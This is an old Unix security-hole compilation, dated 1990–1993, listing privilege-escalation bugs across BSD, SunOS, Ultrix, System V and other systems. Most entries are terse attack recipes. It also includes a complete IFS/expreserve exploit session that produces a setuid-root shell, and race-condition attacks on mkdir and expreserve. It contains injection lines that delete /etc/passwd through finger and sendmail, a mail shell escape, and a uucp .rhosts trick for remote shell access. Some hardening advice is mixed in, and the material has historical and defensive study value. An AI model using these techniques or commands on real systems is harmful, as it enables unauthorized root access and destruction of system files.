1947 lines
76 KiB
Plaintext
1947 lines
76 KiB
Plaintext
|
|
#HoleList
|
|
#v1 - Wed Apr 7 13:38:08 MDT 1993
|
|
|
|
Operating System Description (References)
|
|
---------------- ------------------------
|
|
BSD 4.1 mail directly to a file ()
|
|
BSD 4.1 exec sgid program, dump core, core is sgid ()
|
|
BSD 4.1 lock -- compiled in password "hasta la vista" ()
|
|
BSD <4.2 IFS w/ preserve bug w/vi ()
|
|
BSD <4.2 suspend mkdir, ln file you want to dir ()
|
|
BSD 4.2 lock -- compiled in password "hasta la vista" ()
|
|
BSD 4.2 ln passwd file to mail spool, mail to user file ()
|
|
BSD 4.2 can truncate read only files ()
|
|
BSD 4.2 finger "string|/bin/rm -f /etc/passwd"@foo.bar ()
|
|
BSD 4.2 ln -s target ~/.plan; finger user to read file ()
|
|
BSD 4.2 lpr file; rm file; ln -s /any/filename file ()
|
|
BSD 4.2 adb su; change check in memory; shell out ()
|
|
BSD 4.2 race condition, can get root via "at" ()
|
|
BSD 4.3 ftp -n; quote user ftp; cd ~root, get root priv ()
|
|
BSD 4.3 lpd can overwrite file ()
|
|
BSD 4.3 ln -s /any/suid/file -i ; -i Get suid shell ()
|
|
BSD 4.3 fchown (2) can chown _any_ file ()
|
|
BSD 4.3 race condition (expreserve?), root via "at" ()
|
|
BSD 4.3 passwd chokes on long lines, splits pw file ()
|
|
4.3 Tahoe chfn -- allows newlines, meta chars, bufsize ()
|
|
4.3 Tahoe login ttyA&B;A:cat<ttyB;^Z;B:exit;login;A:&;B:pw/uid;A:gets pw
|
|
? Overwrite gets buffer -- fingerd, etc ()
|
|
? uudecode alias can overwrite root/daemon files ()
|
|
? /bin/mail ; !/bin/sh Get uid=bin shell ()
|
|
? rwall bug ()
|
|
? adb the running kernel, shell out and get root ()
|
|
? mail to any non-root owned file, try twice ()
|
|
? rshd: spoof via nameservice-- rsh target -l uid ()
|
|
SunOS 386i/4.01? login -n root (no password) ()
|
|
SunOS 3.5 connect w/acct;user root;ls;put /tmp/f/ tmp/b ()
|
|
SunOS 4.0/4.01 chsh (similar to chfn) ()
|
|
SunOS 4.0x? anyone can restore a file over any other file ()
|
|
SunOS 4.0x? chfn -- allows newlines/meta chars bufsize ()
|
|
SunOS 4.0x? rcp with uid -2; only from PC/NFS ()
|
|
SunOS 4.0x? ln -s /any/suid/file -i ; -i Get suid shell ()
|
|
SunOS 4.0x? Selection service can remotely grab files ()
|
|
SunOS 4.0.3 mail to any non-root owned file, try twice ()
|
|
SunOS 4.0.3 login ttyA&B;A:cat<ttyB;^Z;B:exit;login;A:&;B:pw/uid;A:gets pw
|
|
SunOS 4.1 Shared libs accept relative paths w/ suid ()
|
|
SunOS 4.1 rshd: spoof via nameservice, rsh target -l uid ()
|
|
SunOS ? adb the running kernel, shell out and get root ()
|
|
SunOS ? ftp -n; quote user ftp; ect Gets root privs ()
|
|
SunOS ? symlink .plan to target file, finger user()
|
|
SunOS ? Overwrite gets buffer -- fingerd, etc (3.5) ()
|
|
SunOS ? rwall bug (<= 4.01 yes) ()
|
|
SunOS ? lpd can overwrite file ()
|
|
SunOS ? the window manager can be used to read any file ()
|
|
SunOS ? rexd -- any can get root access if enabled ()
|
|
SunOS 4.0.3 rcp buffer overflow ()
|
|
AIX ? rexd -- any can get root access if enabled ()
|
|
SunOS 4.1.x comsat can overwrite any file ()
|
|
SunOS 4.1.x ptrace allows to become root ()
|
|
SunOS 4.1.x openlook: telnet 2000; executive,x3, run ps int ()
|
|
Ultrix 2.2 ln passwd file to mail spool, mail to user ()
|
|
Ultrix 2.2 can get root on NFS host via root via mountd ()
|
|
DYNIX 3.? can get root on NFS host via root via mountd ()
|
|
Ultrix 3.0 lock -- compiled in password "hasta la vista" ()
|
|
Ultrix 3.0 any user can mount any filesystem ()
|
|
Ultrix 3.0 login can run any program with root privs ()
|
|
Ultrix 3.0 X11 doesn't clear passwords in mem; /dev/mem ()
|
|
Ultrix 3.0 ln -s target ~/.plan; finger user to access ()
|
|
Ultrix 3.1? rshd: spoof via nameservice, rsh target -l uid ()
|
|
Ultrix 3.1- limit file 0; passwd -->zero's out passwd file ()
|
|
Ultrix 3.1- lpd can overwrite any file (back to 2.0?) ()
|
|
Ultrix 4.1- overflow Risc register buffer, get root w/ mail ()
|
|
Ultrix ? chfn -- allows newlines, meta chars, bufsize ()
|
|
Ultrix ? ftp -n; quote user ftp; ect Gets root privs ()
|
|
Ultrix ? can change host name, mount any filesystem ()
|
|
Ultrix ? uudecode alias can overwrite root/daemon files ()
|
|
SYSV ? IFS, other environment at "login:" prompt ()
|
|
SYSV 4 write to files; race condition using mkdir & ln ()
|
|
SYSV 4- expreserve problem/race condition ()
|
|
IRIX rsh <host> -l "" <command> runs as root ()
|
|
Stellix 2.0 rsh <host> -l "" <command> runs as root ()
|
|
IRIX ? login: -r hostname
|
|
ruser^@luser^@term^@ ()
|
|
DYNIX ? login: -r hostname
|
|
ruser^@luser^@term^@ ()
|
|
IRIX ? login: -r hostname
|
|
ruser^@luser^@term^@ ()
|
|
HPUX 7.0 chfn -- allows newlines, etc ()
|
|
HPUX 7.0- chfn -- allows newlines, etc (new bug) ()
|
|
Domain/OS <10.3 break root by using s/rbak; setgid/uid ()
|
|
Amdahl UTS 2.0 NFS mountd only uses hostname as authentication ()
|
|
SCO ? rlogin to any acct from trusted host w/o passwd ()
|
|
BellTech SYSV/386 ulimit 0; passwd ==> zero's out passwd file ()
|
|
Microport 3.0 ulimit 0; passwd ==> zero's out passwd file ()
|
|
SunOS < 4.0 any user can run yp server ()
|
|
SunOS 4.01 ypbind/ypserv, SunOS 4.01; need 3 machines ()
|
|
SunOS 4.03 ypbind/ypserv, SunOS 4.01; need 3 machines ()
|
|
SunOS 4.03 concurrent yppasswd sessions can trash yp map ()
|
|
SunOS 4.0.3 ypserv sends maps to anyone who has domainame (ypsnarf)
|
|
Ultrix 3.1 ? allows newlines, meta chars, buffsize problem ()
|
|
Ultrix ? yppasswd leaves yp data files world writable ()
|
|
Ultrix ypbind takes ypset from all; anyone can play yp DB server ()
|
|
BSD 4.1 Sendmail: can mail directly to a file ()
|
|
SunOS 4.03 Sendmail: can mail directly to a file ()
|
|
Sendmail <=5.61 can mail to any file not root owned, have to try twice ()
|
|
5.61 Sendmail: groups incorrectly checked, can get any group ()
|
|
SunOs 4.1 Sendmail: groups incorrectly checked, can get any group ()
|
|
Ultrix 2.2 Sendmail: -C file ==> displays any file ()
|
|
DYNIX 3.0.14 Sendmail: -C file ==> displays any file ()
|
|
Ultrix 2.0? Sendmail: versions 1.2&13.1 sm, -oQ > can read/write any ()
|
|
HP_UX Sendmail: versions 1.2&13.1 sm, -oQ > can read/write any ()
|
|
Sendmnail < 5.57 from:<"|/bin/rm /etc/passwd"> && bounce mail... ()
|
|
IRIX 3.3/3.31 Sendmail: any user can read any other user's mail ()
|
|
? wiz; shell get root shell ()
|
|
X11R ? snoop on keyboards and bitmaps ()
|
|
X11R3-4 can set log on, execute commands (fixed in "fix-6") ()
|
|
Sun 4.03 uucico can show ph num, login, passwd, on remote machine ()
|
|
SunOS icmp errors not handled correctly; log off users remotely ()
|
|
Ultrix icmp errors not handled correctly; log off users remotely ()
|
|
SunOS emacsclient/server allows access to files ()
|
|
Ultrix emacsclient/server allows access to files ()
|
|
=========
|
|
GENERAL
|
|
=========
|
|
|
|
1. Do not allow usernames to contain any of the following characters ";~!`"
|
|
(or any shell meta-charaters). This allows setuid root programs that
|
|
popen to be spoofed.
|
|
|
|
2. Never allow a setuid to root program to send a mail message that the user
|
|
creates to either the Berkeley mailer or mailx. All a user has to do
|
|
to break root is to send a line such as:
|
|
|
|
~!cp /bin/sh /tmp/sh; chmod 2555 /tmp/sh
|
|
|
|
That is that Berkeley mail(1) and Berkeley mailx(1) BOTH allow this shell
|
|
escape to be executed if the line starts in column one of stdout while
|
|
entering the message text.
|
|
|
|
3. Most security holes in UNIX are related to incorrect setting of directory
|
|
and file permissions or race conditions in the kernel that allow setuid
|
|
programs to be exploited. All non-standard setuid programs should be
|
|
examined.
|
|
|
|
4. Many systems can be compromised with NFS/RPC. A skilled RPC writer can
|
|
break security relatively easily. MIT's PROJECT ATHENA came up with
|
|
Kerberos to address these problems, networks are usually very insecure.
|
|
|
|
5. The mount command should not be executeable by ordinary users. A setuid
|
|
program on a mountable disk is NOT TO BE TRUSTED.
|
|
|
|
6. Systems that allow read-only mounting of foriegn disk are a security
|
|
hole. Setuid programs are normally honored. This allows a person who
|
|
has root access on a foriegn machine to break it on another.
|
|
|
|
7. Expreserve can be a huge hole (see the following)
|
|
|
|
/dev/fb
|
|
the frame buffer devices on at least suns are world
|
|
readable/writeable, which is at best annoying (when
|
|
someone runs something strange on you) and at worst
|
|
insecure (since someone can take a snapshot of your screen
|
|
via screenload or whatnot)
|
|
|
|
/dev/*st*, *mt*, etc (tape devices)
|
|
generally world readable/writeable, bad since others can
|
|
nuke your tapes, read your backups, etc.
|
|
|
|
chfn, chsh
|
|
used to create a root account
|
|
|
|
core
|
|
will system dump a setgid core image?
|
|
|
|
domain name system
|
|
a sysadmin running the soa for a domain somewhere can
|
|
create a bugs reverse address mapping table for one of his
|
|
hosts that causes its IP address to have the domain name
|
|
of a machine that my host has in its hosts.equiv file. if
|
|
i'm using the usual version of 'istrusted' (I think that's
|
|
the routine's name), the address lookup reveals the name
|
|
of the host to be one that my host trusts, and this other
|
|
sysadmin can rlogin into my machine or rsh or whatnot at
|
|
will.
|
|
|
|
fchown
|
|
test for bad group test
|
|
|
|
ftruncate
|
|
can be used to change major/minor numbers on devices
|
|
|
|
fingerd
|
|
hard .plan links - reading unreadable files readable by
|
|
user(fingerd)
|
|
|
|
setuid, .plan links
|
|
|
|
running as root
|
|
(fingerd_test.sh)
|
|
|
|
buffer overrun
|
|
|
|
file mod test.
|
|
test of file does not loose the setuid bit when modified
|
|
|
|
|
|
ftp
|
|
ftpd
|
|
static passwd struct overwrite
|
|
|
|
4.2 based bug, userid not reset properly, (after logging
|
|
in enter comment "user root" and you are, last seen
|
|
onder SunOS 3.3?).
|
|
|
|
overwrite stack somehow?
|
|
|
|
hosts.equiv
|
|
default + entry
|
|
|
|
istrusted routine - easy to spoof by bad SOA at remote
|
|
site with hacked reverse address map.
|
|
|
|
lock
|
|
4.1bsd version had the password "hasta la vista" as a
|
|
builtin trapdoor. (found in ultrix)
|
|
|
|
lost+found, fsck
|
|
lost+found should be mode 700, else others might see
|
|
private files.
|
|
|
|
lpd
|
|
its possible to ovberwrite files with root authority with
|
|
user level access locally or remotely if you have local
|
|
root access
|
|
|
|
lpr
|
|
lpr -r access testing problem
|
|
|
|
lprm
|
|
trusts utmp
|
|
|
|
passwd
|
|
fgets use allows long entries which will be mangled into
|
|
::0:0::: entries
|
|
|
|
also allows:
|
|
fred:...:...:...:Fred ....Flintstone::/bin/sh =>
|
|
fred:...:...:...:Fred.....
|
|
Flintstone::/bin/sh
|
|
which is a root entry with no password!
|
|
|
|
fix - should skip to eol if it didn't read whole entry,
|
|
should enforce buffer limits on text in file, don't use
|
|
atoi (since atoi(/bin/sh) is 0).
|
|
|
|
portmap
|
|
allows other net entities to make bindings - may not be a
|
|
"security hole", can lead to denial of service.
|
|
|
|
rcp
|
|
nobody problem
|
|
|
|
rexd
|
|
existence
|
|
|
|
rwall,comsat
|
|
running as root, utmp world writeable, writes to files as
|
|
well as devices in utmp dev fields.
|
|
|
|
|
|
rdist - buffer overflow
|
|
|
|
selection_svc
|
|
allowed remote access to files
|
|
|
|
sendmail
|
|
debug option
|
|
|
|
wizard mode
|
|
|
|
TURN command
|
|
allows mail to be stolen
|
|
|
|
decode mail alias - anyone can send mail to decode, write
|
|
to any file onwed by daemon, if they can connect to
|
|
sendmail daemon, can write to any file owned by any user.
|
|
|
|
|
|
overflow input buffer
|
|
cause the sendmail deamon to lock up
|
|
|
|
overwrite files
|
|
sendmail can be "tricked" into delivering mail
|
|
into any file but those own my root.
|
|
|
|
-oQ (different Q)
|
|
fixed in newer versions
|
|
|
|
mqueue must not be mode 777!
|
|
|
|
what uid does |program run with?
|
|
|
|
sendmail -bt -C/usr/spool/mail/user - in old versions,
|
|
allows you to see all lines of the file.
|
|
|
|
setuid bit handling
|
|
setuid/setgid bit should be dropped if a file is modified
|
|
|
|
fix: kernel changes
|
|
|
|
setuid scripts
|
|
there are several problems with setuid scripts. is it
|
|
worth writing tests for these? some systems might have
|
|
fixed some of the holes - does anyone know how one fixes
|
|
these problems in a proactive fashion?
|
|
|
|
sh
|
|
IFS hole (used with vi, anything else?)
|
|
|
|
su
|
|
overwrite stack somehow?
|
|
|
|
tcp/ip
|
|
sequence number prediction makes host spoofing easier
|
|
|
|
source routing make host spoofing easier
|
|
|
|
rip allows one to capture traffic more easily
|
|
|
|
various icmp attacks possible
|
|
|
|
(I suspect a traceroute'd kernel will allow one to easily
|
|
dump packets onto the ethernet)
|
|
|
|
tftp
|
|
allows one to grab random files (eg, /etc/passwd).
|
|
fix - should do a chroot
|
|
|
|
allows puts as well as gets, no chroot
|
|
|
|
fix - don't run as root, use chroot, no puts, only if boot
|
|
server.
|
|
|
|
utmp
|
|
check to see if world writeable (if so, the data can't be
|
|
trusted, although some programs are written as though they
|
|
trust the data (comsat, rwalld)).
|
|
|
|
uucp
|
|
check if valid uucp accounts are in the /etc/ftpusers. If
|
|
the shell is uucico and passwd is valid make sure it is
|
|
listed in ftpusers.
|
|
|
|
check to see that uucp accounts have shell: if left off,
|
|
folks can do:
|
|
|
|
cat >x
|
|
myhost myname
|
|
^D
|
|
uucp x ~uucp/.rhosts
|
|
rsh myhost -l uucp sh -i
|
|
|
|
HDB nostrangers shell escape
|
|
|
|
HDB changing the owner of set uid/gid files
|
|
|
|
HDB meta escapes on the X command line
|
|
|
|
HDB ; breaks on the X line
|
|
|
|
uudecode
|
|
if it is setuid, some versions will create setuid files
|
|
|
|
|
|
ypbind
|
|
accepts ypset from anyone (can create own ypserv and data,
|
|
and ypset to it...)
|
|
|
|
ypserv spoofing
|
|
send lots of bogus replies to a request for root's passwd
|
|
entry, while doing something that would generate such a
|
|
request [I'm pretty sure that this is possible, but
|
|
haven't tried it.]
|
|
|
|
AIX
|
|
* password means use root's password?
|
|
|
|
AIX 2.2.1
|
|
shadow password file (/etc/security/passwd) world
|
|
writeable
|
|
|
|
fix - chmod 600...
|
|
|
|
386i login
|
|
fix - nuke logintool, hack on login with adb, chmod 2750
|
|
|
|
ultrix 3.0 login
|
|
login -P progname allows one to run random programs as root.
|
|
fix - chmod 2750.
|
|
|
|
xhost:
|
|
if access access control is disabled any one can connect to
|
|
a X display it is possible and create (forge) and/or
|
|
intercept keystrokes.
|
|
|
|
=========
|
|
GENERAL
|
|
=========
|
|
|
|
1. Do not allow usernames to contain any of the following characters ";~!`"
|
|
(or any shell meta-charaters). This allows setuid root programs that
|
|
popen to be spoofed.
|
|
|
|
2. Never allow a setuid to root program to send a mail message that the user
|
|
creates to either the Berkeley mailer or mailx. All a user has to do
|
|
to break root is to send a line such as:
|
|
|
|
~!cp /bin/sh /tmp/sh; chmod 2555 /tmp/sh
|
|
|
|
That is that Berkeley mail(1) and Berkeley mailx(1) BOTH allow this shell
|
|
escape to be executed if the line starts in column one of stdout while
|
|
entering the message text.
|
|
|
|
3. Most security holes in UNIX are related to incorrect setting of directory
|
|
and file permissions or race conditions in the kernel that allow setuid
|
|
programs to be exploited. All non-standard setuid programs should be
|
|
examined.
|
|
|
|
4. Many systems can be compromised with NFS/RPC. A skilled RPC writer can
|
|
break security relatively easily. MIT's PROJECT ATHENA came up with
|
|
Kerberos to address these problems, networks are usually very insecure.
|
|
|
|
5. The mount command should not be executeable by ordinary users. A setuid
|
|
program on a mountable disk is NOT TO BE TRUSTED.
|
|
|
|
6. Systems that allow read-only mounting of foriegn disk are a security
|
|
hole. Setuid programs are normally honored. This allows a person who
|
|
has root access on a foriegn machine to break it on another.
|
|
|
|
7. Expreserve can be a huge hole (see the following)
|
|
|
|
==================================
|
|
BSD 4.2 and earlier BSD releases
|
|
==================================
|
|
The following is a security hole that exists in the BSD 4.2 flavors of
|
|
UNIX. This bug is associated with /usr/lib/expreserve being setuid to root and
|
|
the shells IFS (internal field seperator) variable. Expreserve executes a line
|
|
such as:
|
|
|
|
if ((fp = popen("/bin/mail USER", "w")) != NULL) {
|
|
|
|
...
|
|
|
|
The implementation of popen(3C) has an exec(2) call of the form:
|
|
|
|
execl("/bin/sh", "sh", "-c", POPEN_ARG_1, (char *) 0);
|
|
|
|
what this does is the /bin/sh telling to to run command such as
|
|
|
|
sh -c "/bin/mail USER"
|
|
|
|
where SHELL is running with an effective user id of root. The change of IFS
|
|
caused shell to parse the command as "bin mail USER" and executes the shell
|
|
script "bin" in the current directory which copies a version of the C shell
|
|
and makes it setuid to root. The SIGHUP to ex(1) causes expreserve to be
|
|
invoked to preserve the user's editing session and send the user mail telling
|
|
him that a copy of his buffer was saved, etc, etc. The fix was accomplished
|
|
by not having the sh do $IFS processing to the argument following a "-c"
|
|
option.
|
|
|
|
% mkdir $$; cd $$
|
|
% touch bin ; chmod a+rx bin
|
|
%set path=(. $path)
|
|
% cat > bin << END-O-FILE
|
|
#!/bin/csh -f
|
|
setenv IFS' ^I'
|
|
/bin/cp /bin/csh .
|
|
/bin/chmod u+s csh
|
|
END-O-FILE
|
|
% setenv IFS /
|
|
% ex bin
|
|
"bin" LLL lines CCC characters
|
|
:s/c/cc/
|
|
#!/bin/ccsh -f
|
|
:stop
|
|
[1] + Stoppedex bin
|
|
% kill -HUP %ex
|
|
% wait
|
|
%ls -l csh
|
|
-rwsr-xr-x 1 root78848 Jan 7 1986 csh*
|
|
% ./csh
|
|
|
|
#This works only on 4.2BSD, was fixed in 4.3BSD.
|
|
|
|
|
|
|
|
=================================
|
|
SYS V and earlier AT&T releases
|
|
=================================
|
|
|
|
The following will work work on SVR2 (USG) and earlier AT&T release,
|
|
as long as you can create a file on the same file system as /etc/passwd.
|
|
There is a race condition in /bin/mkdir [mkdir(1)] which first
|
|
mknod(2)s the directory then chown(2)s the directory to the real
|
|
uid of the process:
|
|
|
|
if (mknod(dir, S_IFDIR | 0777) == 0)
|
|
chown(dir, getuid(), getgid());
|
|
|
|
if there is a context switch after the mknod(2) call and the
|
|
parent process unlink(2)s the node and creates the link before
|
|
the mkdir process runs again then the /bin/mkdir chown(2)s the
|
|
link to be owned by you.
|
|
|
|
On many systems /tmp is on the same file system as /. Otherwise other
|
|
files need to be located that can be compromised. This is caused
|
|
by the lack of a mkdir system call. If /bin/mkdir is setuid to root
|
|
then this should work. Assuming /tmp is on the same file system as
|
|
/etc then one could that would be invoked like the following:
|
|
|
|
breakdir /etc/passwd /tmp/foo
|
|
|
|
and would change your uid to root.
|
|
|
|
=================
|
|
SVR.0 to SVR3.2
|
|
=================
|
|
|
|
Several at(1)s have an extremely nasty bug. Cron(1) which run atjobs runs
|
|
setuid to root. Normally the atjobs are stored in /usr/spool/cron/atjobs.
|
|
There it creates a file owned by the atjob submitter. On many systems
|
|
/usr/spool/cron/atjobs is mode drwxr-xr-x and allows a normal user to
|
|
chdir(2) to that directory. Many System V crons determine what uid to run
|
|
the atjob by the file's owner. Breaking security can be as simple as cding
|
|
to cron and change the owner of an atjob you submitted to root.
|
|
Alternatively, an atjob that submits another atjob on some systems
|
|
will run as root (I don't know why).
|
|
|
|
===============================================
|
|
BSD 4.3 AND EARLIER SYSV SUNOS (SOMETIMES)
|
|
===============================================
|
|
|
|
Well folks:
|
|
|
|
I have found a rather barbaric race condition in expreserve that allows
|
|
the setuid program to be compromised by changing the permissions of a file.
|
|
This bug exists in all expreserves up to and including Berkeley 4.3. (well
|
|
not quite). On all System V and earlier releases this works. Under System V
|
|
expreserve places the Ex temp file in the directory:
|
|
|
|
/usr/preserve/$USER
|
|
|
|
and under the Berkeley releases it places them under either:
|
|
|
|
/usr/preserve
|
|
|
|
or
|
|
/var/preserve (SUN0S 4.X)
|
|
|
|
This "feature" will definitely allow security to be breached on all standard
|
|
System Vs (non-secured) and all Berkeley-ish systems that have /usr/preserve
|
|
writeable by the user (Note: SUNOS has this directory UNWRITEABLE). The
|
|
System V bug was relatively unavoidable (until SVR4) but the Berkeley bug
|
|
should have been fixed as soon as the fchown(2) system call was added to BSD.
|
|
Basically the "hole" is that expreserve does:
|
|
|
|
fd = creat("/usr/preserve/Exaaa$PID, 0600);
|
|
chown("/usr/preserve/Exaaa$PID, real_uid, real_gid);
|
|
|
|
when it should do a:
|
|
|
|
fd = creat("/usr/preserve/Exaaa$PID, 0600);
|
|
fchown(fd, real_uid, real_gid);
|
|
|
|
which avoids the race (it changes the permission on the inode that was
|
|
creat(2)ed and not the inode whose name is /usr/preserve/Exaaa$PID). The
|
|
previous examples are actually simplified as expreserve actually looks at the
|
|
uid and gid as stored in the /tmp/Ex$PID file and compares them to the
|
|
getuid() and getgid() return values.
|
|
|
|
The actual "race" is that a context switch may occur between the creat(2)
|
|
and chown(2) in expreserve that allows another process with write permission
|
|
to the target directory to unlink(2) the creat(2)ed file and place a hard
|
|
link to another file by that name in the target directory, which expreserve
|
|
subsequentlies chown(2)s to your uid. This "feature" allows any file on the
|
|
same device to be owned by you. From my reading on symbolic links, this should
|
|
also work with symlinks BUT DOES NOT atleast under SUNOS 4.X and HPUX.
|
|
According to my 4.3BSD Programmer's Reference Manual chown(2) SHOULD change
|
|
the permissions on the file pointed to by the symlink as one of its failure
|
|
conditions is:
|
|
|
|
[ELOOP] Too many symbolic links were encountered in
|
|
translating the pathname.
|
|
|
|
This implies to me that a chown(2) on a symbolic link should chown(2) the file
|
|
pointed at by the link, but under SUNOS4.X and HPUX (A.B2.10) it changes the
|
|
permission on the symbolic link (funny, I thought symlinks were always mode
|
|
lrwxrwxrwx). Both man pages for SUNOS and HPUX also include the ELOOP
|
|
failure condition for chown(2). This bug is usable to place trojan horse
|
|
in ``trusted'' directories [(e.g.) /usr/bin]. The trojan horse I would
|
|
place there is a program that fork(2)s and exec(2)s a program giving me a
|
|
setuid to root shell if the euid is equal to root and then execs the real
|
|
program and then restores everything to what it was.
|
|
|
|
The procedure for utilizing this bug is to create a VALID non-zero length
|
|
/tmp/Ex$PID file and copy it the the directory were the cracking program is
|
|
located under the name "data". To do this edit a junk file, make some
|
|
changes and escape to a shell and check the /tmp directory for a non-zero
|
|
length Ex$PID file owned by you, copy it to the cracking directory and run
|
|
the program that follows. Note: This program needs to be modified to run
|
|
under System V to support /usr/preserve/$USER/Exaaa$PID targets, it has been
|
|
tested under SUNOS 4.X and HPUX. I haven't had time to modify it yet, but it
|
|
will definitely work under System V.
|
|
There are four ways to gain unauthorized (root) privileges:
|
|
|
|
- Knowing a (root) password. This should be easy to prevent.
|
|
- Using setuid programs. Even in case of configuration errors, like mode
|
|
666 on the passwd file, unauthorized privileges are granted by
|
|
(system) suid programs like login, passwd, etc.
|
|
- Bad system calls. This was an issue in older versions. For instance,
|
|
setgid(-1) did strange things on some old UNIX versions. This
|
|
doesn't really happen anymore.
|
|
- Fooling daemons running as root. This is the largest problem. Editing the
|
|
crontab, playing with sendmail falls under this category, but also
|
|
the network can be misused. For instance, you can write a program
|
|
that talks to ypserv, or nfsd, or anything. Also, daemons use
|
|
configuration files, which shouldn't be readable.
|
|
|
|
Most security violations occur due to bad file protections, exploited
|
|
with normal commands, not C source code. Another problem is old or bugged
|
|
programs, in particular (2) setuid programs and (4) daemons.
|
|
Most hackers don't use source code, but I think if a hacker uses source
|
|
to exploit a problem, it'll be impossible to find a search pattern that
|
|
can deterministically state if a program is good or bad.
|
|
<wabbit> it was a bug for _years_ in the ftp server.
|
|
<wabbit> bsd4.2 had it.
|
|
<wabbit> and 4.3
|
|
|
|
|
|
Bug reference sheet
|
|
Comfirmations, additions, changes to: df@cert.sei.cmu.edu
|
|
Last change made: Dec 12, 1990
|
|
|
|
|
|
4.X BSD
|
|
Version problem
|
|
---------------------
|
|
4.1 can mail directly to a file
|
|
run set gid program, dump core, is set gid of owner
|
|
lock -- compiled in password "hasta la vista", plus can ^Z
|
|
|
|
Pre 4.2? IFS w. preserve bug in vi
|
|
suspend mkdir, ln file you want to dir, you own file
|
|
|
|
4.2 lock -- compiled in password "hasta la vista"
|
|
ln passwd file to mail spool, mail to user ==> file
|
|
can truncate read only files
|
|
finger "string | /bin/rm -f /etc/passwd"@foo.bar
|
|
ln -s target ~/.plan; finger user to read any file.
|
|
lpr file; rm file; ln -s /any/filename file ==> prints file
|
|
adb su; change check in memory; shell out; su ==> root.
|
|
race condition, can get root via "at"
|
|
|
|
4.3 ftp -n; quote user ftp; ect. Gets root privs.
|
|
lpd can overwrite file
|
|
ln -s /any/suid/file -i ; -i Get suid shell.
|
|
fchown (2) can chown _any_ file
|
|
race condition (expreserve?), can get root via "at"
|
|
passwd chokes on long lines, splits pw file ==> root access
|
|
|
|
4.3 Tahoe chfn -- allows newlines, meta chars, bufsize problem
|
|
login ttyA&B; A:cat <ttyB;^Z;B:exit;login;A:&;B:pw/uid;A:got B pw.
|
|
|
|
? Overwrite gets buffer -- fingerd, etc
|
|
uudecode alias can overwrite root/daemon owned files
|
|
/bin/mail ; !/bin/sh Get uid=bin shell
|
|
rwall bug.
|
|
adb the running kernel, shell out and get root
|
|
sendmail can mail to any non-root owned file, have to try twice
|
|
rshd -- spoof via nameservice, rsh target -l uid
|
|
|
|
SunOS
|
|
Version problem
|
|
---------------------
|
|
386i/4.01? login -n root requires no password
|
|
|
|
3.5 ftp -- connect w. acct; user root; ls; put /tmp/foo /tmp/bar;
|
|
result is owned by root
|
|
|
|
4.0 && 4.01 chsh -- similar to chfn
|
|
|
|
4.0x? anyone can restore a file over any other file.
|
|
chfn -- allows newlines, meta chars, bufsize problem.
|
|
rcp with uid -2; only from PC/NFS.
|
|
ln -s /any/suid/file -i ; -i Get suid shell.
|
|
Selection service can remotely grab files.
|
|
|
|
4.03 sendmail can mail to any non-root owned file, have to try twice
|
|
login ttyA&B; A:cat <ttyB;^Z;B:exit;login;A:&;B:pw/uid;A:got B pw.
|
|
|
|
4.1 Shared libs accept relative paths when running suid (e.g. xterm.)
|
|
rshd -- spoof via nameservice, rsh target -l uid
|
|
|
|
? adb the running kernel, shell out and get root
|
|
ftp -n; quote user ftp; ect. Gets root privs.
|
|
symlink .plan to target file, finger user to read.
|
|
Overwrite gets buffer -- fingerd, etc. (3.5)
|
|
rwall bug (<= 4.01 yes).
|
|
lpd can overwrite file
|
|
the window manager can be used to read any file
|
|
rexd -- any can get root access if enabled
|
|
|
|
4.03- rcp buffer overflow
|
|
|
|
4.1- comsat can overwrite any file
|
|
ptrace allows to become root
|
|
under openlook; telnet port 2000; executive,x3, run the ps interp.
|
|
|
|
Ultrix
|
|
Version problem
|
|
---------------------
|
|
2.2 ln passwd file to mail spool, mail to user ==> file
|
|
can get root on host running (some) NFS from a root account
|
|
on a non-trusted host due to bug in mount daemon (DYNIX 3.? also)
|
|
|
|
3.0 lock -- compiled in password "hasta la vista"
|
|
any user can mount any filesystem
|
|
login can run any program with root privs
|
|
X11 doesn't clear passwords in memory; /dev/mem is world readable.
|
|
ln -s target ~/.plan; finger user to read any file.
|
|
|
|
3.1- limit file 0; passwd ==> zero's out passwd file
|
|
lpd can overwrite any file (back to 2.0?)
|
|
|
|
4.1- overflow Risc register buffer, get root through mail.
|
|
|
|
? chfn -- allows newlines, meta chars, bufsize problem
|
|
ftp -n; quote user ftp; ect. Gets root privs.
|
|
can change host name, mount any filesystem
|
|
uudecode alias can overwrite root/daemon owned files
|
|
3.1? rshd -- spoof via nameservice, rsh target -l uid
|
|
|
|
System V
|
|
Version problem
|
|
---------------------
|
|
? can set IFS, other environment at "login:" prompt
|
|
SVR4- expreserve problem/race condition.
|
|
pre SVR4 write to files; race condition using mkdir & ln
|
|
|
|
SGI (Iris?), MIPS, Steller
|
|
---------------------------
|
|
Stellix 2.0 rsh <host> -l "" <command> runs as root
|
|
RISC/os 4.51, DYNIX
|
|
Stellix 2.1 login: -r hostname
|
|
ruser^@luser^@term^@
|
|
|
|
HP-UX
|
|
Version problem
|
|
--------------------
|
|
7.0- chfn -- allows newlines, etc. Different bug with 7.0.
|
|
|
|
Apollo
|
|
Version problem
|
|
--------------------
|
|
10.x(max10.3)break root by using s/rbak; problem is in setgid/uid
|
|
|
|
Amdahl UTS
|
|
Version problem
|
|
--------------------
|
|
2.0 NFS mountd only uses hostname as authentication; easy to spoof.
|
|
|
|
SCO
|
|
Version problem
|
|
---------------------
|
|
? can rlogin to any acct (root, etc.) to trusted host w/o password
|
|
|
|
Bell tech sys V/386
|
|
--------------------
|
|
Microport 3.0 ulimit 0; passwd ==> zero's out passwd file
|
|
|
|
YP
|
|
---------------------
|
|
Pre 4.0 any user can run yp server
|
|
|
|
4.01/4.03 ypbind/ypserv, SunOS 4.01; need 3 machines
|
|
|
|
4.03 concurrent yppasswd sessions can trash yp passwd map
|
|
ypserv will send maps to anyone who can guess the domainame
|
|
|
|
Ultrix3.1/? allows newlines, meta chars, buffsize problem
|
|
|
|
? yppasswd leaves yp data files world writable
|
|
ypbind takes ypset from all; anyone can say they are yp DB server.
|
|
|
|
Sendmail
|
|
---------------------
|
|
4.1 BSD can mail directly to a file
|
|
|
|
Sun 4.03,
|
|
<=5.61 can mail to any file not root owned, have to try twice
|
|
|
|
5.61, 4.1Sun,
|
|
lots others? groups incorrectly checked, can get any group
|
|
|
|
Ultrix 2.2,
|
|
DYNIX 3.0.14 -C file ==> displays any file.
|
|
|
|
Ultrix 2.0?
|
|
HP_UX versions 1.2&13.1 sm, -oQ ==> can read/write any file
|
|
|
|
< 5.57 from:<"|/bin/rm /etc/passwd"> && bounce mail....
|
|
|
|
